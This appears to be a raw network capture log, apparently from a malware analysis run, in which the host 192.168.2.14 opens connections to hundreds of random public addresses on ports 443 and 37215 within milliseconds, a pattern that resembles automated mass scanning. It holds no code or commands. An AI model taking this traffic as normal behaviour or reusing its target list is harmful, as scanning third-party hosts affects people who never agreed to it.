Oct 14, 2024 17:30:09.906429052 CEST	54042	443	192.168.2.14	117.141.45.216
Oct 14, 2024 17:30:09.906429052 CEST	54042	443	192.168.2.14	123.243.228.237
Oct 14, 2024 17:30:09.906445026 CEST	54042	443	192.168.2.14	5.118.229.30
Oct 14, 2024 17:30:09.906455994 CEST	54042	443	192.168.2.14	2.129.202.182
Oct 14, 2024 17:30:09.906470060 CEST	54042	443	192.168.2.14	37.29.175.171
Oct 14, 2024 17:30:09.906481981 CEST	54042	443	192.168.2.14	212.77.53.198
Oct 14, 2024 17:30:09.906507015 CEST	54042	443	192.168.2.14	212.228.100.234
Oct 14, 2024 17:30:09.906507015 CEST	54042	443	192.168.2.14	178.34.1.65
Oct 14, 2024 17:30:09.906512022 CEST	54042	443	192.168.2.14	42.104.225.56
Oct 14, 2024 17:30:09.906526089 CEST	54042	443	192.168.2.14	202.175.186.215
Oct 14, 2024 17:30:09.906533957 CEST	54042	443	192.168.2.14	109.68.0.30
Oct 14, 2024 17:30:09.906538010 CEST	54042	443	192.168.2.14	94.233.152.130
Oct 14, 2024 17:30:09.906550884 CEST	54042	443	192.168.2.14	109.26.207.4
Oct 14, 2024 17:30:09.906564951 CEST	54042	443	192.168.2.14	148.215.26.238
Oct 14, 2024 17:30:09.906572104 CEST	54042	443	192.168.2.14	123.87.227.48
Oct 14, 2024 17:30:09.906585932 CEST	54042	443	192.168.2.14	2.216.217.53
Oct 14, 2024 17:30:09.906594038 CEST	54042	443	192.168.2.14	212.154.100.126
Oct 14, 2024 17:30:09.906610966 CEST	54042	443	192.168.2.14	109.130.202.220
Oct 14, 2024 17:30:09.906631947 CEST	54042	443	192.168.2.14	109.32.117.203
Oct 14, 2024 17:30:09.906637907 CEST	54042	443	192.168.2.14	117.40.238.195
Oct 14, 2024 17:30:09.906651020 CEST	54042	443	192.168.2.14	123.220.211.48
Oct 14, 2024 17:30:09.906651020 CEST	54042	443	192.168.2.14	178.148.97.223
Oct 14, 2024 17:30:09.906657934 CEST	54042	443	192.168.2.14	2.81.174.185
Oct 14, 2024 17:30:09.906673908 CEST	54042	443	192.168.2.14	94.62.197.42
Oct 14, 2024 17:30:09.906675100 CEST	54042	443	192.168.2.14	109.95.245.95
Oct 14, 2024 17:30:09.906719923 CEST	36560	37215	192.168.2.14	197.236.127.100
Oct 14, 2024 17:30:09.906745911 CEST	59700	37215	192.168.2.14	156.174.47.184
Oct 14, 2024 17:30:09.906754971 CEST	39702	37215	192.168.2.14	197.63.49.98
Oct 14, 2024 17:30:09.906755924 CEST	41214	37215	192.168.2.14	156.0.169.100
Oct 14, 2024 17:30:09.906761885 CEST	54776	37215	192.168.2.14	197.105.68.179
Oct 14, 2024 17:30:09.906770945 CEST	39862	37215	192.168.2.14	41.52.25.164
Oct 14, 2024 17:30:09.906779051 CEST	54338	37215	192.168.2.14	197.72.42.249
Oct 14, 2024 17:30:09.906786919 CEST	41960	37215	192.168.2.14	156.231.137.251
Oct 14, 2024 17:30:09.906801939 CEST	41274	37215	192.168.2.14	156.197.153.229
Oct 14, 2024 17:30:09.906805038 CEST	38922	37215	192.168.2.14	156.128.212.250
Oct 14, 2024 17:30:09.906805038 CEST	38292	37215	192.168.2.14	156.95.227.106
Oct 14, 2024 17:30:09.906817913 CEST	53490	37215	192.168.2.14	197.83.176.191
Oct 14, 2024 17:30:09.906817913 CEST	35164	37215	192.168.2.14	41.183.199.175
Oct 14, 2024 17:30:09.906829119 CEST	52492	37215	192.168.2.14	156.69.169.167
Oct 14, 2024 17:30:09.906829119 CEST	44636	37215	192.168.2.14	197.171.223.206
Oct 14, 2024 17:30:09.906838894 CEST	50292	37215	192.168.2.14	156.233.71.157
Oct 14, 2024 17:30:09.906852961 CEST	51894	37215	192.168.2.14	41.130.61.238
Oct 14, 2024 17:30:09.906855106 CEST	54728	37215	192.168.2.14	41.177.64.227
Oct 14, 2024 17:30:09.906867027 CEST	42482	37215	192.168.2.14	156.70.69.38
Oct 14, 2024 17:30:09.906872988 CEST	48544	37215	192.168.2.14	197.36.11.5
Oct 14, 2024 17:30:09.906881094 CEST	54830	37215	192.168.2.14	156.187.237.227
Oct 14, 2024 17:30:09.906896114 CEST	57214	37215	192.168.2.14	156.52.254.226
Oct 14, 2024 17:30:09.906900883 CEST	34780	37215	192.168.2.14	197.85.184.209
Oct 14, 2024 17:30:09.906902075 CEST	38964	37215	192.168.2.14	197.202.250.81
Oct 14, 2024 17:30:09.906910896 CEST	38998	37215	192.168.2.14	41.121.101.198
Oct 14, 2024 17:30:09.906912088 CEST	57222	37215	192.168.2.14	156.181.146.159
Oct 14, 2024 17:30:09.906919956 CEST	39014	37215	192.168.2.14	156.130.109.31
Oct 14, 2024 17:30:09.906934023 CEST	34648	37215	192.168.2.14	197.230.99.181
Oct 14, 2024 17:30:09.906934023 CEST	38770	37215	192.168.2.14	197.232.27.72
Oct 14, 2024 17:30:09.906944990 CEST	56742	37215	192.168.2.14	197.122.101.107
Oct 14, 2024 17:30:09.906944990 CEST	51718	37215	192.168.2.14	41.105.168.104
Oct 14, 2024 17:30:09.906959057 CEST	44480	37215	192.168.2.14	41.253.105.9
Oct 14, 2024 17:30:09.906960964 CEST	55992	37215	192.168.2.14	197.116.5.11
Oct 14, 2024 17:30:09.906974077 CEST	57908	37215	192.168.2.14	197.134.172.230
Oct 14, 2024 17:30:09.906979084 CEST	54096	37215	192.168.2.14	197.79.102.173
Oct 14, 2024 17:30:09.906995058 CEST	36366	37215	192.168.2.14	197.21.38.27
Oct 14, 2024 17:30:09.906996965 CEST	42584	37215	192.168.2.14	197.206.233.175
Oct 14, 2024 17:30:09.907004118 CEST	42342	37215	192.168.2.14	197.197.28.134
Oct 14, 2024 17:30:09.907008886 CEST	60174	37215	192.168.2.14	197.107.86.175
Oct 14, 2024 17:30:09.907011032 CEST	56348	37215	192.168.2.14	41.204.39.117
Oct 14, 2024 17:30:09.907013893 CEST	41140	37215	192.168.2.14	197.166.18.97
Oct 14, 2024 17:30:09.907021046 CEST	43046	37215	192.168.2.14	197.231.115.97
Oct 14, 2024 17:30:09.907032013 CEST	36358	37215	192.168.2.14	41.100.118.62
Oct 14, 2024 17:30:09.907051086 CEST	40102	37215	192.168.2.14	156.198.69.109
Oct 14, 2024 17:30:09.907052994 CEST	49386	37215	192.168.2.14	156.165.27.220
Oct 14, 2024 17:30:09.907052994 CEST	45196	37215	192.168.2.14	41.77.212.154
Oct 14, 2024 17:30:09.907062054 CEST	55686	37215	192.168.2.14	41.255.30.177
Oct 14, 2024 17:30:09.907073021 CEST	42060	37215	192.168.2.14	197.12.183.110
Oct 14, 2024 17:30:09.907074928 CEST	41748	37215	192.168.2.14	197.198.105.178
Oct 14, 2024 17:30:09.907087088 CEST	34070	37215	192.168.2.14	197.20.135.118
Oct 14, 2024 17:30:09.907088995 CEST	56974	37215	192.168.2.14	156.45.182.155
Oct 14, 2024 17:30:09.907099962 CEST	60508	37215	192.168.2.14	41.4.105.219
Oct 14, 2024 17:30:09.907110929 CEST	39718	37215	192.168.2.14	41.118.159.230
Oct 14, 2024 17:30:09.907123089 CEST	42038	37215	192.168.2.14	41.240.211.200
Oct 14, 2024 17:30:09.907123089 CEST	46818	37215	192.168.2.14	197.208.230.87
Oct 14, 2024 17:30:09.907125950 CEST	43478	37215	192.168.2.14	156.226.104.51
Oct 14, 2024 17:30:09.907138109 CEST	40416	37215	192.168.2.14	156.231.201.110
Oct 14, 2024 17:30:09.907145023 CEST	41520	37215	192.168.2.14	197.0.45.87
Oct 14, 2024 17:30:09.907150030 CEST	59624	37215	192.168.2.14	156.51.110.104
Oct 14, 2024 17:30:09.907157898 CEST	53382	37215	192.168.2.14	41.200.182.175
Oct 14, 2024 17:30:09.907171011 CEST	60926	37215	192.168.2.14	41.192.225.32
Oct 14, 2024 17:30:09.907171965 CEST	55560	37215	192.168.2.14	41.169.11.163
Oct 14, 2024 17:30:09.907174110 CEST	58466	37215	192.168.2.14	197.252.168.241
Oct 14, 2024 17:30:09.907181025 CEST	50816	37215	192.168.2.14	156.31.136.219
Oct 14, 2024 17:30:09.907200098 CEST	56902	37215	192.168.2.14	41.198.207.170
Oct 14, 2024 17:30:09.907200098 CEST	55662	37215	192.168.2.14	41.58.231.47
Oct 14, 2024 17:30:09.907202005 CEST	32944	37215	192.168.2.14	41.20.106.78
Oct 14, 2024 17:30:09.907207012 CEST	35250	37215	192.168.2.14	41.55.68.150
Oct 14, 2024 17:30:09.907227993 CEST	52604	37215	192.168.2.14	41.213.26.221
Oct 14, 2024 17:30:09.907234907 CEST	36390	37215	192.168.2.14	41.108.88.194
Oct 14, 2024 17:30:09.907244921 CEST	39734	37215	192.168.2.14	156.191.36.59
Oct 14, 2024 17:30:09.907244921 CEST	44378	37215	192.168.2.14	41.242.66.44
Oct 14, 2024 17:30:09.907244921 CEST	46416	37215	192.168.2.14	197.127.23.194
Oct 14, 2024 17:30:09.907250881 CEST	34900	37215	192.168.2.14	197.0.236.115
Oct 14, 2024 17:30:09.907255888 CEST	48088	37215	192.168.2.14	41.105.134.5
Oct 14, 2024 17:30:09.907267094 CEST	47366	37215	192.168.2.14	41.84.189.6
Oct 14, 2024 17:30:09.907274961 CEST	55988	37215	192.168.2.14	156.197.122.71
Oct 14, 2024 17:30:09.907286882 CEST	57606	37215	192.168.2.14	197.47.106.138
Oct 14, 2024 17:30:09.907296896 CEST	48384	37215	192.168.2.14	156.242.83.56
Oct 14, 2024 17:30:09.907298088 CEST	51850	37215	192.168.2.14	197.164.218.17
Oct 14, 2024 17:30:09.907309055 CEST	53860	37215	192.168.2.14	197.134.89.254
Oct 14, 2024 17:30:09.907313108 CEST	50906	37215	192.168.2.14	156.24.176.46
Oct 14, 2024 17:30:09.907319069 CEST	34110	37215	192.168.2.14	41.3.20.172
Oct 14, 2024 17:30:09.907334089 CEST	46662	37215	192.168.2.14	197.103.154.219
Oct 14, 2024 17:30:09.907334089 CEST	58598	37215	192.168.2.14	197.145.170.161
Oct 14, 2024 17:30:09.907355070 CEST	44728	37215	192.168.2.14	156.55.122.15
Oct 14, 2024 17:30:09.907355070 CEST	60214	37215	192.168.2.14	41.222.150.142
Oct 14, 2024 17:30:09.907355070 CEST	48554	37215	192.168.2.14	41.77.118.82
Oct 14, 2024 17:30:09.907370090 CEST	51292	37215	192.168.2.14	41.127.3.18
Oct 14, 2024 17:30:09.907370090 CEST	57322	37215	192.168.2.14	156.206.129.117
Oct 14, 2024 17:30:09.907373905 CEST	44930	37215	192.168.2.14	156.144.213.217
Oct 14, 2024 17:30:09.907393932 CEST	39762	37215	192.168.2.14	197.38.3.102
Oct 14, 2024 17:30:09.907393932 CEST	40586	37215	192.168.2.14	197.65.125.173
Oct 14, 2024 17:30:09.907397985 CEST	33514	37215	192.168.2.14	41.100.104.48
Oct 14, 2024 17:30:09.907412052 CEST	42754	37215	192.168.2.14	197.207.149.21
Oct 14, 2024 17:30:09.907412052 CEST	52784	37215	192.168.2.14	156.116.241.186
Oct 14, 2024 17:30:09.907413960 CEST	57906	37215	192.168.2.14	41.17.99.253
Oct 14, 2024 17:30:09.907421112 CEST	33746	37215	192.168.2.14	156.98.87.206
Oct 14, 2024 17:30:09.907448053 CEST	54042	443	192.168.2.14	94.12.246.121
Oct 14, 2024 17:30:09.907458067 CEST	54042	443	192.168.2.14	117.79.32.243
Oct 14, 2024 17:30:09.907468081 CEST	54042	443	192.168.2.14	109.1.49.192
Oct 14, 2024 17:30:09.907485008 CEST	54042	443	192.168.2.14	94.115.29.99
Oct 14, 2024 17:30:09.907495022 CEST	54042	443	192.168.2.14	42.92.46.99
Oct 14, 2024 17:30:09.907509089 CEST	54042	443	192.168.2.14	2.14.214.194
Oct 14, 2024 17:30:09.907525063 CEST	54042	443	192.168.2.14	148.224.141.0
Oct 14, 2024 17:30:09.907529116 CEST	54042	443	192.168.2.14	178.140.94.210
Oct 14, 2024 17:30:09.907540083 CEST	54042	443	192.168.2.14	178.154.140.252
Oct 14, 2024 17:30:09.907550097 CEST	54042	443	192.168.2.14	2.125.14.177
Oct 14, 2024 17:30:09.907576084 CEST	54042	443	192.168.2.14	202.67.59.108
Oct 14, 2024 17:30:09.907576084 CEST	54042	443	192.168.2.14	123.71.146.174
Oct 14, 2024 17:30:09.907603025 CEST	54042	443	192.168.2.14	5.222.221.220
Oct 14, 2024 17:30:09.907604933 CEST	54042	443	192.168.2.14	42.166.168.4
Oct 14, 2024 17:30:09.907604933 CEST	54042	443	192.168.2.14	79.189.229.218
Oct 14, 2024 17:30:09.907613993 CEST	54042	443	192.168.2.14	5.8.50.110
Oct 14, 2024 17:30:09.907629013 CEST	54042	443	192.168.2.14	5.195.175.28
Oct 14, 2024 17:30:09.907629013 CEST	54042	443	192.168.2.14	79.162.77.209
Oct 14, 2024 17:30:09.907634974 CEST	54042	443	192.168.2.14	210.79.157.10
Oct 14, 2024 17:30:09.907644987 CEST	54042	443	192.168.2.14	37.215.102.22
Oct 14, 2024 17:30:09.907665014 CEST	54042	443	192.168.2.14	117.187.150.25
Oct 14, 2024 17:30:09.907668114 CEST	54042	443	192.168.2.14	123.107.211.164
Oct 14, 2024 17:30:09.907668114 CEST	54042	443	192.168.2.14	79.150.72.254
Oct 14, 2024 17:30:09.907680988 CEST	54042	443	192.168.2.14	109.238.81.14
Oct 14, 2024 17:30:09.907687902 CEST	54042	443	192.168.2.14	118.236.63.190
Oct 14, 2024 17:30:09.907702923 CEST	54042	443	192.168.2.14	118.132.41.14
Oct 14, 2024 17:30:09.907713890 CEST	54042	443	192.168.2.14	42.9.50.163
Oct 14, 2024 17:30:09.907728910 CEST	54042	443	192.168.2.14	202.126.229.61
Oct 14, 2024 17:30:09.907747030 CEST	54042	443	192.168.2.14	79.172.244.130
Oct 14, 2024 17:30:09.907751083 CEST	54042	443	192.168.2.14	79.5.161.230
Oct 14, 2024 17:30:09.907768965 CEST	54042	443	192.168.2.14	202.146.96.204
Oct 14, 2024 17:30:09.907778025 CEST	54042	443	192.168.2.14	2.66.42.171
Oct 14, 2024 17:30:09.907784939 CEST	54042	443	192.168.2.14	148.236.178.143
Oct 14, 2024 17:30:09.907792091 CEST	54042	443	192.168.2.14	118.101.137.52
Oct 14, 2024 17:30:09.907799959 CEST	54042	443	192.168.2.14	79.253.89.221
Oct 14, 2024 17:30:09.907804966 CEST	54042	443	192.168.2.14	2.86.2.254
Oct 14, 2024 17:30:09.907825947 CEST	54042	443	192.168.2.14	117.147.133.22
Oct 14, 2024 17:30:09.907840014 CEST	54042	443	192.168.2.14	2.7.198.153
Oct 14, 2024 17:30:09.907840014 CEST	54042	443	192.168.2.14	94.167.184.181
Oct 14, 2024 17:30:09.907860041 CEST	54042	443	192.168.2.14	178.109.28.184
Oct 14, 2024 17:30:09.907866001 CEST	54042	443	192.168.2.14	42.245.209.212
Oct 14, 2024 17:30:09.907880068 CEST	54042	443	192.168.2.14	210.20.229.58
Oct 14, 2024 17:30:09.907895088 CEST	54042	443	192.168.2.14	210.177.145.44
Oct 14, 2024 17:30:09.907905102 CEST	54042	443	192.168.2.14	2.1.138.115
Oct 14, 2024 17:30:09.907927036 CEST	54042	443	192.168.2.14	212.77.200.236
Oct 14, 2024 17:30:09.907939911 CEST	54042	443	192.168.2.14	5.103.195.143
Oct 14, 2024 17:30:09.907953024 CEST	54042	443	192.168.2.14	79.69.144.163
Oct 14, 2024 17:30:09.907967091 CEST	54042	443	192.168.2.14	2.237.176.181
Oct 14, 2024 17:30:09.907967091 CEST	54042	443	192.168.2.14	178.155.42.174
Oct 14, 2024 17:30:09.907968044 CEST	54042	443	192.168.2.14	148.250.218.124
Oct 14, 2024 17:30:09.908005953 CEST	54042	443	192.168.2.14	202.24.4.119
Oct 14, 2024 17:30:09.908006907 CEST	54042	443	192.168.2.14	42.15.11.218
Oct 14, 2024 17:30:09.908013105 CEST	54042	443	192.168.2.14	5.70.21.72
Oct 14, 2024 17:30:09.908025980 CEST	54042	443	192.168.2.14	37.177.132.136
Oct 14, 2024 17:30:09.908025980 CEST	54042	443	192.168.2.14	42.225.142.227
Oct 14, 2024 17:30:09.908050060 CEST	54042	443	192.168.2.14	118.46.82.9
Oct 14, 2024 17:30:09.908054113 CEST	54042	443	192.168.2.14	5.162.99.195
Oct 14, 2024 17:30:09.908071041 CEST	54042	443	192.168.2.14	37.3.212.250
Oct 14, 2024 17:30:09.908076048 CEST	54042	443	192.168.2.14	178.113.1.26
Oct 14, 2024 17:30:09.908090115 CEST	54042	443	192.168.2.14	123.254.48.126
Oct 14, 2024 17:30:09.908108950 CEST	54042	443	192.168.2.14	148.89.100.232
Oct 14, 2024 17:30:09.908117056 CEST	54042	443	192.168.2.14	118.42.43.23
Oct 14, 2024 17:30:09.908117056 CEST	54042	443	192.168.2.14	123.222.130.56
Oct 14, 2024 17:30:09.908126116 CEST	54042	443	192.168.2.14	79.243.246.245
Oct 14, 2024 17:30:09.908133030 CEST	54042	443	192.168.2.14	42.175.55.39
Oct 14, 2024 17:30:09.908133030 CEST	54042	443	192.168.2.14	2.154.137.206
Oct 14, 2024 17:30:09.908147097 CEST	54042	443	192.168.2.14	2.139.86.228
Oct 14, 2024 17:30:09.908157110 CEST	54042	443	192.168.2.14	2.14.177.224
Oct 14, 2024 17:30:09.908159971 CEST	54042	443	192.168.2.14	94.26.204.159
Oct 14, 2024 17:30:09.908185959 CEST	54042	443	192.168.2.14	123.132.180.39
Oct 14, 2024 17:30:09.908198118 CEST	54042	443	192.168.2.14	123.159.133.54
Oct 14, 2024 17:30:09.908200979 CEST	54042	443	192.168.2.14	123.34.233.246
Oct 14, 2024 17:30:09.908217907 CEST	54042	443	192.168.2.14	37.75.45.174
Oct 14, 2024 17:30:09.908217907 CEST	54042	443	192.168.2.14	202.212.213.190
Oct 14, 2024 17:30:09.908230066 CEST	54042	443	192.168.2.14	123.249.136.152
Oct 14, 2024 17:30:09.908236027 CEST	54042	443	192.168.2.14	123.151.58.188
Oct 14, 2024 17:30:09.908242941 CEST	54042	443	192.168.2.14	148.33.75.54
Oct 14, 2024 17:30:09.908260107 CEST	54042	443	192.168.2.14	79.187.177.16
Oct 14, 2024 17:30:09.908261061 CEST	54042	443	192.168.2.14	212.138.234.15
Oct 14, 2024 17:30:09.908267975 CEST	54042	443	192.168.2.14	79.119.44.26
Oct 14, 2024 17:30:09.908282995 CEST	54042	443	192.168.2.14	123.186.189.42
Oct 14, 2024 17:30:09.908284903 CEST	54042	443	192.168.2.14	42.231.7.0
Oct 14, 2024 17:30:09.908284903 CEST	54042	443	192.168.2.14	79.157.32.26
Oct 14, 2024 17:30:09.908299923 CEST	54042	443	192.168.2.14	178.152.102.125
Oct 14, 2024 17:30:09.908330917 CEST	54042	443	192.168.2.14	5.253.170.79
Oct 14, 2024 17:30:09.908337116 CEST	54042	443	192.168.2.14	123.198.229.99
Oct 14, 2024 17:30:09.908348083 CEST	54042	443	192.168.2.14	109.155.116.254
Oct 14, 2024 17:30:09.908359051 CEST	54042	443	192.168.2.14	178.234.153.237
Oct 14, 2024 17:30:09.908360004 CEST	54042	443	192.168.2.14	109.5.22.176
Oct 14, 2024 17:30:09.908371925 CEST	54042	443	192.168.2.14	148.68.174.14
Oct 14, 2024 17:30:09.908387899 CEST	54042	443	192.168.2.14	2.117.238.236
Oct 14, 2024 17:30:09.908391953 CEST	54042	443	192.168.2.14	2.221.155.30
Oct 14, 2024 17:30:09.908406973 CEST	54042	443	192.168.2.14	37.11.32.224
Oct 14, 2024 17:30:09.908416033 CEST	54042	443	192.168.2.14	94.120.136.48
Oct 14, 2024 17:30:09.908443928 CEST	54042	443	192.168.2.14	37.69.139.17
Oct 14, 2024 17:30:09.908443928 CEST	54042	443	192.168.2.14	123.159.74.2
Oct 14, 2024 17:30:09.908464909 CEST	54042	443	192.168.2.14	118.11.58.182
Oct 14, 2024 17:30:09.908472061 CEST	54042	443	192.168.2.14	178.140.101.116
Oct 14, 2024 17:30:09.908472061 CEST	54042	443	192.168.2.14	37.220.80.208
Oct 14, 2024 17:30:09.908489943 CEST	54042	443	192.168.2.14	117.208.59.251
Oct 14, 2024 17:30:09.908502102 CEST	54042	443	192.168.2.14	117.166.2.133
Oct 14, 2024 17:30:09.908518076 CEST	54042	443	192.168.2.14	2.98.86.195
Oct 14, 2024 17:30:09.908526897 CEST	54042	443	192.168.2.14	148.115.32.140
Oct 14, 2024 17:30:09.908526897 CEST	54042	443	192.168.2.14	118.76.16.104
Oct 14, 2024 17:30:09.908543110 CEST	54042	443	192.168.2.14	118.27.227.66
Oct 14, 2024 17:30:09.908543110 CEST	54042	443	192.168.2.14	210.89.143.196
Oct 14, 2024 17:30:09.908556938 CEST	54042	443	192.168.2.14	118.112.67.51
Oct 14, 2024 17:30:09.908569098 CEST	54042	443	192.168.2.14	5.176.85.22
Oct 14, 2024 17:30:09.908587933 CEST	54042	443	192.168.2.14	37.160.15.1
Oct 14, 2024 17:30:09.908601999 CEST	54042	443	192.168.2.14	123.109.90.107
Oct 14, 2024 17:30:09.908601999 CEST	54042	443	192.168.2.14	118.206.182.51
Oct 14, 2024 17:30:09.908607960 CEST	54042	443	192.168.2.14	210.163.109.196
Oct 14, 2024 17:30:09.908634901 CEST	54042	443	192.168.2.14	118.236.137.3
Oct 14, 2024 17:30:09.908634901 CEST	54042	443	192.168.2.14	5.190.81.97
Oct 14, 2024 17:30:09.908642054 CEST	54042	443	192.168.2.14	109.206.251.50
Oct 14, 2024 17:30:09.908642054 CEST	54042	443	192.168.2.14	210.138.63.147
Oct 14, 2024 17:30:09.908643961 CEST	54042	443	192.168.2.14	210.139.77.38
Oct 14, 2024 17:30:09.908643961 CEST	54042	443	192.168.2.14	94.177.48.139
Oct 14, 2024 17:30:09.908655882 CEST	54042	443	192.168.2.14	94.64.32.201
Oct 14, 2024 17:30:09.908672094 CEST	54042	443	192.168.2.14	94.77.106.215
Oct 14, 2024 17:30:09.908672094 CEST	54042	443	192.168.2.14	148.39.0.155
Oct 14, 2024 17:30:09.908694983 CEST	54042	443	192.168.2.14	118.42.58.94
Oct 14, 2024 17:30:09.908694983 CEST	54042	443	192.168.2.14	42.70.106.197
Oct 14, 2024 17:30:09.908723116 CEST	54042	443	192.168.2.14	123.233.51.70
Oct 14, 2024 17:30:09.908740044 CEST	54042	443	192.168.2.14	212.245.165.165
Oct 14, 2024 17:30:09.908756971 CEST	54042	443	192.168.2.14	94.59.97.55
Oct 14, 2024 17:30:09.908756971 CEST	54042	443	192.168.2.14	123.20.79.207
Oct 14, 2024 17:30:09.908771038 CEST	54042	443	192.168.2.14	117.194.153.22
Oct 14, 2024 17:30:09.908781052 CEST	54042	443	192.168.2.14	212.76.105.184
Oct 14, 2024 17:30:09.908783913 CEST	54042	443	192.168.2.14	148.172.213.184
Oct 14, 2024 17:30:09.908785105 CEST	54042	443	192.168.2.14	210.118.136.209
Oct 14, 2024 17:30:09.908787012 CEST	54042	443	192.168.2.14	210.187.70.117
Oct 14, 2024 17:30:09.908795118 CEST	54042	443	192.168.2.14	202.110.106.255
Oct 14, 2024 17:30:09.908802032 CEST	54042	443	192.168.2.14	109.220.87.175
Oct 14, 2024 17:30:09.908818960 CEST	54042	443	192.168.2.14	79.141.99.174
Oct 14, 2024 17:30:09.908818960 CEST	54042	443	192.168.2.14	2.231.225.152
Oct 14, 2024 17:30:09.908847094 CEST	54042	443	192.168.2.14	178.179.58.154
Oct 14, 2024 17:30:09.908848047 CEST	54042	443	192.168.2.14	123.2.105.180
Oct 14, 2024 17:30:09.908859968 CEST	54042	443	192.168.2.14	5.50.207.192
Oct 14, 2024 17:30:09.908865929 CEST	54042	443	192.168.2.14	2.202.221.8
Oct 14, 2024 17:30:09.908894062 CEST	54042	443	192.168.2.14	148.171.171.246
Oct 14, 2024 17:30:09.908901930 CEST	54042	443	192.168.2.14	42.35.107.215
Oct 14, 2024 17:30:09.908915997 CEST	54042	443	192.168.2.14	210.113.33.119
Oct 14, 2024 17:30:09.908936977 CEST	54042	443	192.168.2.14	94.35.17.163
Oct 14, 2024 17:30:09.908965111 CEST	54042	443	192.168.2.14	109.21.185.220
Oct 14, 2024 17:30:09.908965111 CEST	54042	443	192.168.2.14	118.104.152.19
Oct 14, 2024 17:30:09.908965111 CEST	54042	443	192.168.2.14	37.19.91.213
Oct 14, 2024 17:30:09.908965111 CEST	54042	443	192.168.2.14	202.70.220.40
Oct 14, 2024 17:30:09.908967018 CEST	54042	443	192.168.2.14	178.102.64.47
Oct 14, 2024 17:30:09.908967018 CEST	54042	443	192.168.2.14	117.26.119.81
Oct 14, 2024 17:30:09.908993006 CEST	54042	443	192.168.2.14	37.146.121.218
Oct 14, 2024 17:30:09.908993006 CEST	54042	443	192.168.2.14	202.125.208.183
Oct 14, 2024 17:30:09.909003019 CEST	54042	443	192.168.2.14	202.31.222.92
Oct 14, 2024 17:30:09.909012079 CEST	54042	443	192.168.2.14	178.43.193.63
Oct 14, 2024 17:30:09.909033060 CEST	54042	443	192.168.2.14	94.142.130.194
Oct 14, 2024 17:30:09.909041882 CEST	54042	443	192.168.2.14	109.98.229.4
Oct 14, 2024 17:30:09.909064054 CEST	54042	443	192.168.2.14	123.32.179.185
Oct 14, 2024 17:30:09.909080982 CEST	54042	443	192.168.2.14	94.135.180.241
Oct 14, 2024 17:30:09.909080982 CEST	54042	443	192.168.2.14	210.82.237.191
Oct 14, 2024 17:30:09.909082890 CEST	54042	443	192.168.2.14	212.68.225.67
Oct 14, 2024 17:30:09.909096003 CEST	54042	443	192.168.2.14	42.228.35.20
Oct 14, 2024 17:30:09.909102917 CEST	54042	443	192.168.2.14	178.180.202.152
Oct 14, 2024 17:30:09.909116030 CEST	54042	443	192.168.2.14	37.93.184.133
Oct 14, 2024 17:30:09.909121990 CEST	54042	443	192.168.2.14	37.0.115.14
Oct 14, 2024 17:30:09.909149885 CEST	54042	443	192.168.2.14	109.245.100.177
Oct 14, 2024 17:30:09.909158945 CEST	54042	443	192.168.2.14	2.246.207.52
Oct 14, 2024 17:30:09.909159899 CEST	54042	443	192.168.2.14	2.240.70.108
Oct 14, 2024 17:30:09.909159899 CEST	54042	443	192.168.2.14	2.19.141.90
Oct 14, 2024 17:30:09.909168959 CEST	54042	443	192.168.2.14	123.135.106.219
Oct 14, 2024 17:30:09.909189939 CEST	54042	443	192.168.2.14	109.126.108.35
Oct 14, 2024 17:30:09.909205914 CEST	54042	443	192.168.2.14	202.225.3.9
Oct 14, 2024 17:30:09.909216881 CEST	54042	443	192.168.2.14	148.113.127.105
Oct 14, 2024 17:30:09.909224033 CEST	54042	443	192.168.2.14	148.51.115.64
Oct 14, 2024 17:30:09.909235001 CEST	54042	443	192.168.2.14	123.34.211.55
Oct 14, 2024 17:30:09.909246922 CEST	54042	443	192.168.2.14	210.93.18.184
Oct 14, 2024 17:30:09.909250975 CEST	54042	443	192.168.2.14	202.39.128.116
Oct 14, 2024 17:30:09.909277916 CEST	54042	443	192.168.2.14	2.43.194.211
Oct 14, 2024 17:30:09.909277916 CEST	54042	443	192.168.2.14	118.165.61.54
Oct 14, 2024 17:30:09.909300089 CEST	54042	443	192.168.2.14	42.192.129.162
Oct 14, 2024 17:30:09.909300089 CEST	54042	443	192.168.2.14	210.253.47.182
Oct 14, 2024 17:30:09.909315109 CEST	54042	443	192.168.2.14	109.97.153.180
Oct 14, 2024 17:30:09.909323931 CEST	54042	443	192.168.2.14	202.4.81.32
Oct 14, 2024 17:30:09.909338951 CEST	54042	443	192.168.2.14	210.250.236.198
Oct 14, 2024 17:30:09.909352064 CEST	54042	443	192.168.2.14	118.86.36.119
Oct 14, 2024 17:30:09.909358025 CEST	54042	443	192.168.2.14	123.107.56.108
Oct 14, 2024 17:30:09.909364939 CEST	54042	443	192.168.2.14	202.106.181.16
Oct 14, 2024 17:30:09.909388065 CEST	54042	443	192.168.2.14	202.145.29.112
Oct 14, 2024 17:30:09.909401894 CEST	54042	443	192.168.2.14	202.201.140.254
Oct 14, 2024 17:30:09.909409046 CEST	54042	443	192.168.2.14	79.75.82.187
Oct 14, 2024 17:30:09.909416914 CEST	54042	443	192.168.2.14	79.54.73.84
Oct 14, 2024 17:30:09.909439087 CEST	54042	443	192.168.2.14	109.58.91.11
Oct 14, 2024 17:30:09.909444094 CEST	54042	443	192.168.2.14	2.171.93.92
Oct 14, 2024 17:30:09.909451962 CEST	54042	443	192.168.2.14	109.53.144.15
Oct 14, 2024 17:30:09.909451962 CEST	54042	443	192.168.2.14	212.11.52.42
Oct 14, 2024 17:30:09.909457922 CEST	54042	443	192.168.2.14	37.70.132.15
Oct 14, 2024 17:30:09.909476995 CEST	54042	443	192.168.2.14	212.231.216.32
Oct 14, 2024 17:30:09.909497976 CEST	54042	443	192.168.2.14	5.241.250.143
Oct 14, 2024 17:30:09.909517050 CEST	54042	443	192.168.2.14	42.140.164.31
Oct 14, 2024 17:30:09.909517050 CEST	54042	443	192.168.2.14	148.122.94.99
Oct 14, 2024 17:30:09.909548998 CEST	54042	443	192.168.2.14	5.147.94.172
Oct 14, 2024 17:30:09.909549952 CEST	54042	443	192.168.2.14	117.158.35.114
Oct 14, 2024 17:30:09.909552097 CEST	54042	443	192.168.2.14	212.99.199.237
Oct 14, 2024 17:30:09.909554958 CEST	54042	443	192.168.2.14	123.129.185.252
Oct 14, 2024 17:30:09.909567118 CEST	54042	443	192.168.2.14	178.227.168.231
Oct 14, 2024 17:30:09.909567118 CEST	54042	443	192.168.2.14	37.51.86.211
Oct 14, 2024 17:30:09.909588099 CEST	54042	443	192.168.2.14	117.157.135.243
Oct 14, 2024 17:30:09.909600019 CEST	54042	443	192.168.2.14	123.68.89.222
Oct 14, 2024 17:30:09.909600019 CEST	54042	443	192.168.2.14	79.233.123.251
